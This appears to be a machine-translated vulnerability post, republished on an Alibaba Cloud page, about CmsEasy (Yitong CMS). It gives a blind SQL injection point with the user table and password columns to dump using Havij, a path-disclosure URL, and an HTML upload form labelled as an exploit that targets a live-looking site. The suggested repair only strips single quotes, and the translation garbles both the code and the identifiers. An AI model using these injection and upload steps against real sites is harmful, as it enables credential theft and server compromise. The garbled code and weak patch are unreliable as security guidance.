Cmseasy (Yitong CMS) injection vulnerability Upload Vulnerability path ODAY (including repair)

Source: Internet
Author: User

Injection Vulnerability
 
Injection point:/celive/js/include. php? Cmseasylive = 1111 & found mentid = 0
Type: mysql blind-string
Keyword: online.gif
Table Name: cmseasy_user
List: userid, username, password
Run it directly in Havij. Error Keyword: online.gif Add Table Name: cmseasy_user list: userid, username, password Keyword: Powered by CmsEasy
 
 
 
Violent path ODAY
 
Directly put the explosion path such as: http://www.bkjia.com/index. php? Case = archive
 
Upload Vulnerability
 
Exp:
 
<Form enctype = "multipart/form-data" method = "post" action = "http://www.8090sec.com/celive/live/doajaxfileupload.php">
<Input type = "file" name = "fileToUpload">
<Input type = "submit" value = "Upload">
</Form>
 
Injection Vulnerability repair:
 
Open the/celive/js/include. php file and go to line 52 or the Code of this function.
 
If (isset ($ _ GET ['inclumentid']) {
$ Inclumentid = $ _ GET ['inclumentid'];
$ Activity_ SQL = "SELECT 'id' FROM '". $ config ['prefix']. "activity 'where' then mentid '= '". $ initialize mentid. "'AND 'operatorid' = '". $ operatorid. "'";
Change the code
If (isset ($ _ GET ['inclumentid']) {
$ Reply mentid = str_replace ("'", "", $ _ GET ['reply mentid']);
$ Activity_ SQL = "SELECT 'id' FROM '". $ config ['prefix']. "activity 'where' then mentid '= '". $ initialize mentid. "'AND 'operatorid' = '". $ operatorid. "'";

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.